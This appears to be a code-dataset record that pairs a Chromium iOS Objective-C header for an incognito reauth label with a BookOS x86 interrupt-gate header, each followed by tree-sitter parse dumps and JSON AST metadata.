// Copyright 2021 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef IOS_CHROME_BROWSER_UI_INCOGNITO_REAUTH_INCOGNITO_REAUTH_VIEW_LABEL_H_ #define IOS_CHROME_BROWSER_UI_INCOGNITO_REAUTH_INCOGNITO_REAUTH_VIEW_LABEL_H_ #import <UIKit/UIKit.h> // Protocol for the owner of the label, which will receive the notifications. @protocol IncognitoReauthViewLabelOwner // Called when the label layout. - (void)labelDidLayout; @end // Label use to get notifications when it setting its layout. @interface IncognitoReauthViewLabel : UILabel // Owner of the label, receiving notifications. @property(nonatomic, weak) id<IncognitoReauthViewLabelOwner> owner; @end #endif // IOS_CHROME_BROWSER_UI_INCOGNITO_REAUTH_INCOGNITO_REAUTH_VIEW_LABEL_H_
48.12
17
(translation_unit) "// Copyright 2021 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef IOS_CHROME_BROWSER_UI_INCOGNITO_REAUTH_INCOGNITO_REAUTH_VIEW_LABEL_H_\n#define IOS_CHROME_BROWSER_UI_INCOGNITO_REAUTH_INCOGNITO_REAUTH_VIEW_LABEL_H_\n\n#import <UIKit/UIKit.h>\n\n// Protocol for the owner of the label, which will receive the notifications.\n@protocol IncognitoReauthViewLabelOwner\n\n// Called when the label layout.\n- (void)labelDidLayout;\n\n@end\n\n// Label use to get notifications when it setting its layout.\n@interface IncognitoReauthViewLabel : UILabel\n\n// Owner of the label, receiving notifications.\n@property(nonatomic, weak) id<IncognitoReauthViewLabelOwner> owner;\n\n@end\n\n#endif // IOS_CHROME_BROWSER_UI_INCOGNITO_REAUTH_INCOGNITO_REAUTH_VIEW_LABEL_H_\n" (comment) "// Copyright 2021 The Chromium Authors. All rights reserved." (comment) "// Use of this source code is governed by a BSD-style license that can be" (comment) "// found in the LICENSE file." (preproc_ifdef) "#ifndef IOS_CHROME_BROWSER_UI_INCOGNITO_REAUTH_INCOGNITO_REAUTH_VIEW_LABEL_H_\n#define IOS_CHROME_BROWSER_UI_INCOGNITO_REAUTH_INCOGNITO_REAUTH_VIEW_LABEL_H_\n\n#import <UIKit/UIKit.h>\n\n// Protocol for the owner of the label, which will receive the notifications.\n@protocol IncognitoReauthViewLabelOwner\n\n// Called when the label layout.\n- (void)labelDidLayout;\n\n@end\n\n// Label use to get notifications when it setting its layout.\n@interface IncognitoReauthViewLabel : UILabel\n\n// Owner of the label, receiving notifications.\n@property(nonatomic, weak) id<IncognitoReauthViewLabelOwner> owner;\n\n@end\n\n#endif" (#ifndef) "#ifndef" (identifier) "IOS_CHROME_BROWSER_UI_INCOGNITO_REAUTH_INCOGNITO_REAUTH_VIEW_LABEL_H_" (preproc_def) "#define IOS_CHROME_BROWSER_UI_INCOGNITO_REAUTH_INCOGNITO_REAUTH_VIEW_LABEL_H_\n" (#define) "#define" (identifier) "IOS_CHROME_BROWSER_UI_INCOGNITO_REAUTH_INCOGNITO_REAUTH_VIEW_LABEL_H_" (preproc_call) "#import <UIKit/UIKit.h>\n" (preproc_directive) "#import" (preproc_arg) "<UIKit/UIKit.h>" (comment) "// Protocol for the owner of the label, which will receive the notifications." (ERROR) "@" (ERROR) "@" (declaration) "protocol IncognitoReauthViewLabelOwner\n\n// Called when the label layout." (type_identifier) "protocol" (identifier) "IncognitoReauthViewLabelOwner" (comment) "// Called when the label layout." (;) "" (expression_statement) "- (void)labelDidLayout;" (unary_expression) "- (void)labelDidLayout" (-) "-" (cast_expression) "(void)labelDidLayout" (() "(" (type_descriptor) "void" (primitive_type) "void" ()) ")" (identifier) "labelDidLayout" (;) ";" (ERROR) "@" (ERROR) "@" (declaration) "end\n\n// Label use to get notifications when it setting its layout.\n@interface" (type_identifier) "end" (comment) "// Label use to get notifications when it setting its layout." (ERROR) "@" (ERROR) "@" (identifier) "interface" (;) "" (expression_statement) "IncognitoReauthViewLabel : UILabel\n\n// Owner of the label, receiving notifications.\n@property(nonatomic, weak) id<IncognitoReauthViewLabelOwner> owner;" (binary_expression) "IncognitoReauthViewLabel : UILabel\n\n// Owner of the label, receiving notifications.\n@property(nonatomic, weak) id<IncognitoReauthViewLabelOwner> owner" (binary_expression) "IncognitoReauthViewLabel : UILabel\n\n// Owner of the label, receiving notifications.\n@property(nonatomic, weak) id<IncognitoReauthViewLabelOwner" (identifier) "IncognitoReauthViewLabel" (ERROR) ": UILabel\n\n// Owner of the label, receiving notifications.\n@property(nonatomic, weak) id" (:) ":" (type_identifier) "UILabel" (comment) "// Owner of the label, receiving notifications." (ERROR) "@" (ERROR) "@" (function_declarator) "property(nonatomic, weak) id" (identifier) "property" (parameter_list) "(nonatomic, weak)" (() "(" (parameter_declaration) "nonatomic" (type_identifier) "nonatomic" (,) "," (parameter_declaration) "weak" (type_identifier) "weak" ()) ")" (identifier) "id" (<) "<" (identifier) "IncognitoReauthViewLabelOwner" (>) ">" (identifier) "owner" (;) ";" (ERROR) "@" (ERROR) "@" (type_identifier) "end" (;) "" (#endif) "#endif" (comment) "// IOS_CHROME_BROWSER_UI_INCOGNITO_REAUTH_INCOGNITO_REAUTH_VIEW_LABEL_H_"
72
11
{"language": "c", "success": true, "metadata": {"lines": 17, "avg_line_length": 48.12, "nodes": 48, "errors": 0, "source_hash": "09a41578b0ce5f0141a6ea16dfb5ee406cc8ee84d9cbb7c92cc48a58056a8f5b", "categorized_nodes": 27}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef IOS_CHROME_BROWSER_UI_INCOGNITO_REAUTH_INCOGNITO_REAUTH_VIEW_LABEL_H_\n#define IOS_CHROME_BROWSER_UI_INCOGNITO_REAUTH_INCOGNITO_REAUTH_VIEW_LABEL_H_\n\n#import <UIKit/UIKit.h>\n\n// Protocol for the owner of the label, which will receive the notifications.\n@protocol IncognitoReauthViewLabelOwner\n\n// Called when the label layout.\n- (void)labelDidLayout;\n\n@end\n\n// Label use to get notifications when it setting its layout.\n@interface IncognitoReauthViewLabel : UILabel\n\n// Owner of the label, receiving notifications.\n@property(nonatomic, weak) id<IncognitoReauthViewLabelOwner> owner;\n\n@end\n\n#endif", "parent": null, "children": [1, 2, 3, 6, 9, 11, 20, 22, 45, 47], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 25, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 4, "column": 7}}, {"id": 2, "type": "identifier", "text": "IOS_CHROME_BROWSER_UI_INCOGNITO_REAUTH_INCOGNITO_REAUTH_VIEW_LABEL_H_", "parent": 0, "children": [], "start_point": {"row": 4, "column": 8}, "end_point": {"row": 4, "column": 77}}, {"id": 3, "type": "preproc_def", "text": "#define IOS_CHROME_BROWSER_UI_INCOGNITO_REAUTH_INCOGNITO_REAUTH_VIEW_LABEL_H_\n", "parent": 0, "children": [4, 5], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 6, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 7}}, {"id": 5, "type": "identifier", "text": "IOS_CHROME_BROWSER_UI_INCOGNITO_REAUTH_INCOGNITO_REAUTH_VIEW_LABEL_H_", "parent": 3, "children": [], "start_point": {"row": 5, "column": 8}, "end_point": {"row": 5, "column": 77}}, {"id": 6, "type": "preproc_call", "text": "#import <UIKit/UIKit.h>\n", "parent": 0, "children": [7, 8], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 8, "column": 0}}, {"id": 7, "type": "preproc_directive", "text": "#import", "parent": 6, "children": [], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 7, "column": 7}}, {"id": 8, "type": "preproc_arg", "text": "<UIKit/UIKit.h>", "parent": 6, "children": [], "start_point": {"row": 7, "column": 8}, "end_point": {"row": 7, "column": 23}}, {"id": 9, "type": "ERROR", "text": "@", "parent": 0, "children": [10], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 1}}, {"id": 10, "type": "ERROR", "text": "@", "parent": 9, "children": [], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 1}}, {"id": 11, "type": "declaration", "text": "protocol IncognitoReauthViewLabelOwner\n\n// Called when the label layout.", "parent": 0, "children": [12, 13], "start_point": {"row": 10, "column": 1}, "end_point": {"row": 12, "column": 32}}, {"id": 12, "type": "type_identifier", "text": "protocol", "parent": 11, "children": [], "start_point": {"row": 10, "column": 1}, "end_point": {"row": 10, "column": 9}}, {"id": 13, "type": "identifier", "text": "IncognitoReauthViewLabelOwner", "parent": 11, "children": [], "start_point": {"row": 10, "column": 10}, "end_point": {"row": 10, "column": 39}}, {"id": 14, "type": "unary_expression", "text": "- (void)labelDidLayout", "parent": 0, "children": [15, 16], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 22}}, {"id": 15, "type": "-", "text": "-", "parent": 14, "children": [], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 1}}, {"id": 16, "type": "cast_expression", "text": "(void)labelDidLayout", "parent": 14, "children": [17, 19], "start_point": {"row": 13, "column": 2}, "end_point": {"row": 13, "column": 22}}, {"id": 17, "type": "type_descriptor", "text": "void", "parent": 16, "children": [18], "start_point": {"row": 13, "column": 3}, "end_point": {"row": 13, "column": 7}}, {"id": 18, "type": "primitive_type", "text": "void", "parent": 17, "children": [], "start_point": {"row": 13, "column": 3}, "end_point": {"row": 13, "column": 7}}, {"id": 19, "type": "identifier", "text": "labelDidLayout", "parent": 16, "children": [], "start_point": {"row": 13, "column": 8}, "end_point": {"row": 13, "column": 22}}, {"id": 20, "type": "ERROR", "text": "@", "parent": 0, "children": [21], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 1}}, {"id": 21, "type": "ERROR", "text": "@", "parent": 20, "children": [], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 1}}, {"id": 22, "type": "declaration", "text": "end\n\n// Label use to get notifications when it setting its layout.\n@interface", "parent": 0, "children": [23, 25], "start_point": {"row": 15, "column": 1}, "end_point": {"row": 18, "column": 10}}, {"id": 23, "type": "ERROR", "text": "@", "parent": 22, "children": [24], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 18, "column": 1}}, {"id": 24, "type": "ERROR", "text": "@", "parent": 23, "children": [], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 18, "column": 1}}, {"id": 25, "type": "identifier", "text": "interface", "parent": 22, "children": [], "start_point": {"row": 18, "column": 1}, "end_point": {"row": 18, "column": 10}}, {"id": 26, "type": "binary_expression", "text": "IncognitoReauthViewLabel : UILabel\n\n// Owner of the label, receiving notifications.\n@property(nonatomic, weak) id<IncognitoReauthViewLabelOwner> owner", "parent": 0, "children": [27, 43, 44], "start_point": {"row": 18, "column": 11}, "end_point": {"row": 21, "column": 66}}, {"id": 27, "type": "binary_expression", "text": "IncognitoReauthViewLabel : UILabel\n\n// Owner of the label, receiving notifications.\n@property(nonatomic, weak) id<IncognitoReauthViewLabelOwner", "parent": 26, "children": [28, 29, 41, 42], "start_point": {"row": 18, "column": 11}, "end_point": {"row": 21, "column": 59}}, {"id": 28, "type": "identifier", "text": "IncognitoReauthViewLabel", "parent": 27, "children": [], "start_point": {"row": 18, "column": 11}, "end_point": {"row": 18, "column": 35}}, {"id": 29, "type": "ERROR", "text": ": UILabel\n\n// Owner of the label, receiving notifications.\n@property(nonatomic, weak) id", "parent": 27, "children": [30, 31, 33], "start_point": {"row": 18, "column": 36}, "end_point": {"row": 21, "column": 29}}, {"id": 30, "type": "type_identifier", "text": "UILabel", "parent": 29, "children": [], "start_point": {"row": 18, "column": 38}, "end_point": {"row": 18, "column": 45}}, {"id": 31, "type": "ERROR", "text": "@", "parent": 29, "children": [32], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 21, "column": 1}}, {"id": 32, "type": "ERROR", "text": "@", "parent": 31, "children": [], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 21, "column": 1}}, {"id": 33, "type": "function_declarator", "text": "property(nonatomic, weak) id", "parent": 29, "children": [34, 35, 40], "start_point": {"row": 21, "column": 1}, "end_point": {"row": 21, "column": 29}}, {"id": 34, "type": "identifier", "text": "property", "parent": 33, "children": [], "start_point": {"row": 21, "column": 1}, "end_point": {"row": 21, "column": 9}}, {"id": 35, "type": "parameter_list", "text": "(nonatomic, weak)", "parent": 33, "children": [36, 38], "start_point": {"row": 21, "column": 9}, "end_point": {"row": 21, "column": 26}}, {"id": 36, "type": "parameter_declaration", "text": "nonatomic", "parent": 35, "children": [37], "start_point": {"row": 21, "column": 10}, "end_point": {"row": 21, "column": 19}}, {"id": 37, "type": "type_identifier", "text": "nonatomic", "parent": 36, "children": [], "start_point": {"row": 21, "column": 10}, "end_point": {"row": 21, "column": 19}}, {"id": 38, "type": "parameter_declaration", "text": "weak", "parent": 35, "children": [39], "start_point": {"row": 21, "column": 21}, "end_point": {"row": 21, "column": 25}}, {"id": 39, "type": "type_identifier", "text": "weak", "parent": 38, "children": [], "start_point": {"row": 21, "column": 21}, "end_point": {"row": 21, "column": 25}}, {"id": 40, "type": "identifier", "text": "id", "parent": 33, "children": [], "start_point": {"row": 21, "column": 27}, "end_point": {"row": 21, "column": 29}}, {"id": 41, "type": "<", "text": "<", "parent": 27, "children": [], "start_point": {"row": 21, "column": 29}, "end_point": {"row": 21, "column": 30}}, {"id": 42, "type": "identifier", "text": "IncognitoReauthViewLabelOwner", "parent": 27, "children": [], "start_point": {"row": 21, "column": 30}, "end_point": {"row": 21, "column": 59}}, {"id": 43, "type": ">", "text": ">", "parent": 26, "children": [], "start_point": {"row": 21, "column": 59}, "end_point": {"row": 21, "column": 60}}, {"id": 44, "type": "identifier", "text": "owner", "parent": 26, "children": [], "start_point": {"row": 21, "column": 61}, "end_point": {"row": 21, "column": 66}}, {"id": 45, "type": "ERROR", "text": "@", "parent": 0, "children": [46], "start_point": {"row": 23, "column": 0}, "end_point": {"row": 23, "column": 1}}, {"id": 46, "type": "ERROR", "text": "@", "parent": 45, "children": [], "start_point": {"row": 23, "column": 0}, "end_point": {"row": 23, "column": 1}}, {"id": 47, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 25, "column": 0}, "end_point": {"row": 25, "column": 6}}]}, "node_categories": {"declarations": {"functions": [33], "variables": [11, 22, 36, 38], "classes": [], "imports": [], "modules": [], "enums": []}, "statements": {"expressions": [14, 16, 26, 27], "assignments": [], "loops": [], "conditionals": [0, 1, 2, 5, 12, 13, 19, 25, 28, 30, 34, 37, 39, 40, 42, 44, 47], "returns": [], "exceptions": []}, "expressions": {"calls": [6], "literals": [], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 33, "universal_type": "function", "name": "unknown", "text_snippet": "property(nonatomic, weak) id"}], "class_declarations": [], "import_statements": []}, "original_source_code": "// Copyright 2021 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef IOS_CHROME_BROWSER_UI_INCOGNITO_REAUTH_INCOGNITO_REAUTH_VIEW_LABEL_H_\n#define IOS_CHROME_BROWSER_UI_INCOGNITO_REAUTH_INCOGNITO_REAUTH_VIEW_LABEL_H_\n\n#import <UIKit/UIKit.h>\n\n// Protocol for the owner of the label, which will receive the notifications.\n@protocol IncognitoReauthViewLabelOwner\n\n// Called when the label layout.\n- (void)labelDidLayout;\n\n@end\n\n// Label use to get notifications when it setting its layout.\n@interface IncognitoReauthViewLabel : UILabel\n\n// Owner of the label, receiving notifications.\n@property(nonatomic, weak) id<IncognitoReauthViewLabelOwner> owner;\n\n@end\n\n#endif // IOS_CHROME_BROWSER_UI_INCOGNITO_REAUTH_INCOGNITO_REAUTH_VIEW_LABEL_H_\n"}
81,179
c
/** * Copyright (c) 2018-2022, BookOS Development Team * SPDX-License-Identifier: Apache-2.0 * * Contains: x86 gate * * Change Logs: * Date Author Notes * 2021-10-3 JasonHu Init */ #ifndef __I386_GATE__ #define __I386_GATE__ #include <xbook.h> #define IDT_LIMIT 0x000007ff #define IDT_PADDR 0x003F0800 #define IDT_VADDR (NX_KVADDR_OFFSET + IDT_PADDR) #define MAX_IDT_NR (IDT_LIMIT/8) #define OFF(idt, off) (idt + off) /* DA: Descriptor Attribute */ #define DA_TASK_GATE 0x85 #define DA_386_CALL_GATE 0x8C #define DA_386_INTR_GATE 0x8E #define DA_386_TRAP_GATE 0x8F #define DA_GATE_DPL0 0 #define DA_GATE_DPL1 1 #define DA_GATE_DPL2 2 #define DA_GATE_DPL3 3 #ifndef __ASSEMBLY__ NX_PUBLIC void CPU_InitGate(void); #endif #endif /* __I386_GATE__ */
25.84
31
(translation_unit) "/**\n * Copyright (c) 2018-2022, BookOS Development Team\n * SPDX-License-Identifier: Apache-2.0\n * \n * Contains: x86 gate\n * \n * Change Logs:\n * Date Author Notes\n * 2021-10-3 JasonHu Init\n */\n\n#ifndef __I386_GATE__\n#define __I386_GATE__\n\n#include <xbook.h>\n\n#define IDT_LIMIT 0x000007ff\n#define IDT_PADDR 0x003F0800\n\n#define IDT_VADDR (NX_KVADDR_OFFSET + IDT_PADDR)\n\n#define MAX_IDT_NR (IDT_LIMIT/8)\n\n#define OFF(idt, off) (idt + off)\n\n/* DA: Descriptor Attribute */\n#define DA_TASK_GATE 0x85\n#define DA_386_CALL_GATE 0x8C\n#define DA_386_INTR_GATE 0x8E\n#define DA_386_TRAP_GATE 0x8F\n\n#define DA_GATE_DPL0 0\n#define DA_GATE_DPL1 1\n#define DA_GATE_DPL2 2\n#define DA_GATE_DPL3 3\n\n#ifndef __ASSEMBLY__\nNX_PUBLIC void CPU_InitGate(void);\n#endif\n\n#endif /* __I386_GATE__ */\n" (comment) "/**\n * Copyright (c) 2018-2022, BookOS Development Team\n * SPDX-License-Identifier: Apache-2.0\n * \n * Contains: x86 gate\n * \n * Change Logs:\n * Date Author Notes\n * 2021-10-3 JasonHu Init\n */" (preproc_ifdef) "#ifndef __I386_GATE__\n#define __I386_GATE__\n\n#include <xbook.h>\n\n#define IDT_LIMIT 0x000007ff\n#define IDT_PADDR 0x003F0800\n\n#define IDT_VADDR (NX_KVADDR_OFFSET + IDT_PADDR)\n\n#define MAX_IDT_NR (IDT_LIMIT/8)\n\n#define OFF(idt, off) (idt + off)\n\n/* DA: Descriptor Attribute */\n#define DA_TASK_GATE 0x85\n#define DA_386_CALL_GATE 0x8C\n#define DA_386_INTR_GATE 0x8E\n#define DA_386_TRAP_GATE 0x8F\n\n#define DA_GATE_DPL0 0\n#define DA_GATE_DPL1 1\n#define DA_GATE_DPL2 2\n#define DA_GATE_DPL3 3\n\n#ifndef __ASSEMBLY__\nNX_PUBLIC void CPU_InitGate(void);\n#endif\n\n#endif" (#ifndef) "#ifndef" (identifier) "__I386_GATE__" (preproc_def) "#define __I386_GATE__\n" (#define) "#define" (identifier) "__I386_GATE__" (preproc_include) "#include <xbook.h>\n" (#include) "#include" (system_lib_string) "<xbook.h>" (preproc_def) "#define IDT_LIMIT 0x000007ff\n" (#define) "#define" (identifier) "IDT_LIMIT" (preproc_arg) "0x000007ff" (preproc_def) "#define IDT_PADDR 0x003F0800\n" (#define) "#define" (identifier) "IDT_PADDR" (preproc_arg) "0x003F0800" (preproc_def) "#define IDT_VADDR (NX_KVADDR_OFFSET + IDT_PADDR)\n" (#define) "#define" (identifier) "IDT_VADDR" (preproc_arg) "(NX_KVADDR_OFFSET + IDT_PADDR)" (preproc_def) "#define MAX_IDT_NR (IDT_LIMIT/8)\n" (#define) "#define" (identifier) "MAX_IDT_NR" (preproc_arg) "(IDT_LIMIT/8)" (preproc_function_def) "#define OFF(idt, off) (idt + off)\n" (#define) "#define" (identifier) "OFF" (preproc_params) "(idt, off)" (() "(" (identifier) "idt" (,) "," (identifier) "off" ()) ")" (preproc_arg) "(idt + off)" (comment) "/* DA: Descriptor Attribute */" (preproc_def) "#define DA_TASK_GATE 0x85\n" (#define) "#define" (identifier) "DA_TASK_GATE" (preproc_arg) "0x85" (preproc_def) "#define DA_386_CALL_GATE 0x8C\n" (#define) "#define" (identifier) "DA_386_CALL_GATE" (preproc_arg) "0x8C" (preproc_def) "#define DA_386_INTR_GATE 0x8E\n" (#define) "#define" (identifier) "DA_386_INTR_GATE" (preproc_arg) "0x8E" (preproc_def) "#define DA_386_TRAP_GATE 0x8F\n" (#define) "#define" (identifier) "DA_386_TRAP_GATE" (preproc_arg) "0x8F" (preproc_def) "#define DA_GATE_DPL0 0\n" (#define) "#define" (identifier) "DA_GATE_DPL0" (preproc_arg) "0" (preproc_def) "#define DA_GATE_DPL1 1\n" (#define) "#define" (identifier) "DA_GATE_DPL1" (preproc_arg) "1" (preproc_def) "#define DA_GATE_DPL2 2\n" (#define) "#define" (identifier) "DA_GATE_DPL2" (preproc_arg) "2" (preproc_def) "#define DA_GATE_DPL3 3\n" (#define) "#define" (identifier) "DA_GATE_DPL3" (preproc_arg) "3" (preproc_ifdef) "#ifndef __ASSEMBLY__\nNX_PUBLIC void CPU_InitGate(void);\n#endif" (#ifndef) "#ifndef" (identifier) "__ASSEMBLY__" (declaration) "NX_PUBLIC void CPU_InitGate(void);" (type_identifier) "NX_PUBLIC" (ERROR) "void" (identifier) "void" (function_declarator) "CPU_InitGate(void)" (identifier) "CPU_InitGate" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (;) ";" (#endif) "#endif" (#endif) "#endif" (comment) "/* __I386_GATE__ */"
88
1
{"language": "c", "success": true, "metadata": {"lines": 31, "avg_line_length": 25.84, "nodes": 78, "errors": 0, "source_hash": "ebdb4ec7d156bfca7c79602c70ec4532e8351f79f147b5d8bbbbe9a7d39b0adc", "categorized_nodes": 34}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef __I386_GATE__\n#define __I386_GATE__\n\n#include <xbook.h>\n\n#define IDT_LIMIT 0x000007ff\n#define IDT_PADDR 0x003F0800\n\n#define IDT_VADDR (NX_KVADDR_OFFSET + IDT_PADDR)\n\n#define MAX_IDT_NR (IDT_LIMIT/8)\n\n#define OFF(idt, off) (idt + off)\n\n/* DA: Descriptor Attribute */\n#define DA_TASK_GATE 0x85\n#define DA_386_CALL_GATE 0x8C\n#define DA_386_INTR_GATE 0x8E\n#define DA_386_TRAP_GATE 0x8F\n\n#define DA_GATE_DPL0 0\n#define DA_GATE_DPL1 1\n#define DA_GATE_DPL2 2\n#define DA_GATE_DPL3 3\n\n#ifndef __ASSEMBLY__\nNX_PUBLIC void CPU_InitGate(void);\n#endif\n\n#endif", "parent": null, "children": [1, 2, 3, 6, 9, 13, 17, 21, 25, 32, 36, 40, 44, 48, 52, 56, 60, 64, 77], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 40, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 7}}, {"id": 2, "type": "identifier", "text": "__I386_GATE__", "parent": 0, "children": [], "start_point": {"row": 11, "column": 8}, "end_point": {"row": 11, "column": 21}}, {"id": 3, "type": "preproc_def", "text": "#define __I386_GATE__\n", "parent": 0, "children": [4, 5], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 13, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 7}}, {"id": 5, "type": "identifier", "text": "__I386_GATE__", "parent": 3, "children": [], "start_point": {"row": 12, "column": 8}, "end_point": {"row": 12, "column": 21}}, {"id": 6, "type": "preproc_include", "text": "#include <xbook.h>\n", "parent": 0, "children": [7, 8], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 15, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 14, "column": 8}}, {"id": 8, "type": "system_lib_string", "text": "<xbook.h>", "parent": 6, "children": [], "start_point": {"row": 14, "column": 9}, "end_point": {"row": 14, "column": 18}}, {"id": 9, "type": "preproc_def", "text": "#define IDT_LIMIT 0x000007ff\n", "parent": 0, "children": [10, 11, 12], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 17, "column": 0}}, {"id": 10, "type": "#define", "text": "#define", "parent": 9, "children": [], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 16, "column": 7}}, {"id": 11, "type": "identifier", "text": "IDT_LIMIT", "parent": 9, "children": [], "start_point": {"row": 16, "column": 8}, "end_point": {"row": 16, "column": 17}}, {"id": 12, "type": "preproc_arg", "text": "0x000007ff", "parent": 9, "children": [], "start_point": {"row": 16, "column": 24}, "end_point": {"row": 16, "column": 34}}, {"id": 13, "type": "preproc_def", "text": "#define IDT_PADDR 0x003F0800\n", "parent": 0, "children": [14, 15, 16], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 18, "column": 0}}, {"id": 14, "type": "#define", "text": "#define", "parent": 13, "children": [], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 17, "column": 7}}, {"id": 15, "type": "identifier", "text": "IDT_PADDR", "parent": 13, "children": [], "start_point": {"row": 17, "column": 8}, "end_point": {"row": 17, "column": 17}}, {"id": 16, "type": "preproc_arg", "text": "0x003F0800", "parent": 13, "children": [], "start_point": {"row": 17, "column": 24}, "end_point": {"row": 17, "column": 34}}, {"id": 17, "type": "preproc_def", "text": "#define IDT_VADDR (NX_KVADDR_OFFSET + IDT_PADDR)\n", "parent": 0, "children": [18, 19, 20], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 20, "column": 0}}, {"id": 18, "type": "#define", "text": "#define", "parent": 17, "children": [], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 19, "column": 7}}, {"id": 19, "type": "identifier", "text": "IDT_VADDR", "parent": 17, "children": [], "start_point": {"row": 19, "column": 8}, "end_point": {"row": 19, "column": 17}}, {"id": 20, "type": "preproc_arg", "text": "(NX_KVADDR_OFFSET + IDT_PADDR)", "parent": 17, "children": [], "start_point": {"row": 19, "column": 24}, "end_point": {"row": 19, "column": 54}}, {"id": 21, "type": "preproc_def", "text": "#define MAX_IDT_NR (IDT_LIMIT/8)\n", "parent": 0, "children": [22, 23, 24], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 22, "column": 0}}, {"id": 22, "type": "#define", "text": "#define", "parent": 21, "children": [], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 21, "column": 7}}, {"id": 23, "type": "identifier", "text": "MAX_IDT_NR", "parent": 21, "children": [], "start_point": {"row": 21, "column": 8}, "end_point": {"row": 21, "column": 18}}, {"id": 24, "type": "preproc_arg", "text": "(IDT_LIMIT/8)", "parent": 21, "children": [], "start_point": {"row": 21, "column": 19}, "end_point": {"row": 21, "column": 32}}, {"id": 25, "type": "preproc_function_def", "text": "#define OFF(idt, off) (idt + off)\n", "parent": 0, "children": [26, 27, 28, 31], "start_point": {"row": 23, "column": 0}, "end_point": {"row": 24, "column": 0}}, {"id": 26, "type": "#define", "text": "#define", "parent": 25, "children": [], "start_point": {"row": 23, "column": 0}, "end_point": {"row": 23, "column": 7}}, {"id": 27, "type": "identifier", "text": "OFF", "parent": 25, "children": [], "start_point": {"row": 23, "column": 8}, "end_point": {"row": 23, "column": 11}}, {"id": 28, "type": "preproc_params", "text": "(idt, off)", "parent": 25, "children": [29, 30], "start_point": {"row": 23, "column": 11}, "end_point": {"row": 23, "column": 21}}, {"id": 29, "type": "identifier", "text": "idt", "parent": 28, "children": [], "start_point": {"row": 23, "column": 12}, "end_point": {"row": 23, "column": 15}}, {"id": 30, "type": "identifier", "text": "off", "parent": 28, "children": [], "start_point": {"row": 23, "column": 17}, "end_point": {"row": 23, "column": 20}}, {"id": 31, "type": "preproc_arg", "text": "(idt + off)", "parent": 25, "children": [], "start_point": {"row": 23, "column": 25}, "end_point": {"row": 23, "column": 36}}, {"id": 32, "type": "preproc_def", "text": "#define DA_TASK_GATE 0x85\n", "parent": 0, "children": [33, 34, 35], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 27, "column": 0}}, {"id": 33, "type": "#define", "text": "#define", "parent": 32, "children": [], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 26, "column": 7}}, {"id": 34, "type": "identifier", "text": "DA_TASK_GATE", "parent": 32, "children": [], "start_point": {"row": 26, "column": 8}, "end_point": {"row": 26, "column": 20}}, {"id": 35, "type": "preproc_arg", "text": "0x85", "parent": 32, "children": [], "start_point": {"row": 26, "column": 28}, "end_point": {"row": 26, "column": 32}}, {"id": 36, "type": "preproc_def", "text": "#define DA_386_CALL_GATE 0x8C\n", "parent": 0, "children": [37, 38, 39], "start_point": {"row": 27, "column": 0}, "end_point": {"row": 28, "column": 0}}, {"id": 37, "type": "#define", "text": "#define", "parent": 36, "children": [], "start_point": {"row": 27, "column": 0}, "end_point": {"row": 27, "column": 7}}, {"id": 38, "type": "identifier", "text": "DA_386_CALL_GATE", "parent": 36, "children": [], "start_point": {"row": 27, "column": 8}, "end_point": {"row": 27, "column": 24}}, {"id": 39, "type": "preproc_arg", "text": "0x8C", "parent": 36, "children": [], "start_point": {"row": 27, "column": 28}, "end_point": {"row": 27, "column": 32}}, {"id": 40, "type": "preproc_def", "text": "#define DA_386_INTR_GATE 0x8E\n", "parent": 0, "children": [41, 42, 43], "start_point": {"row": 28, "column": 0}, "end_point": {"row": 29, "column": 0}}, {"id": 41, "type": "#define", "text": "#define", "parent": 40, "children": [], "start_point": {"row": 28, "column": 0}, "end_point": {"row": 28, "column": 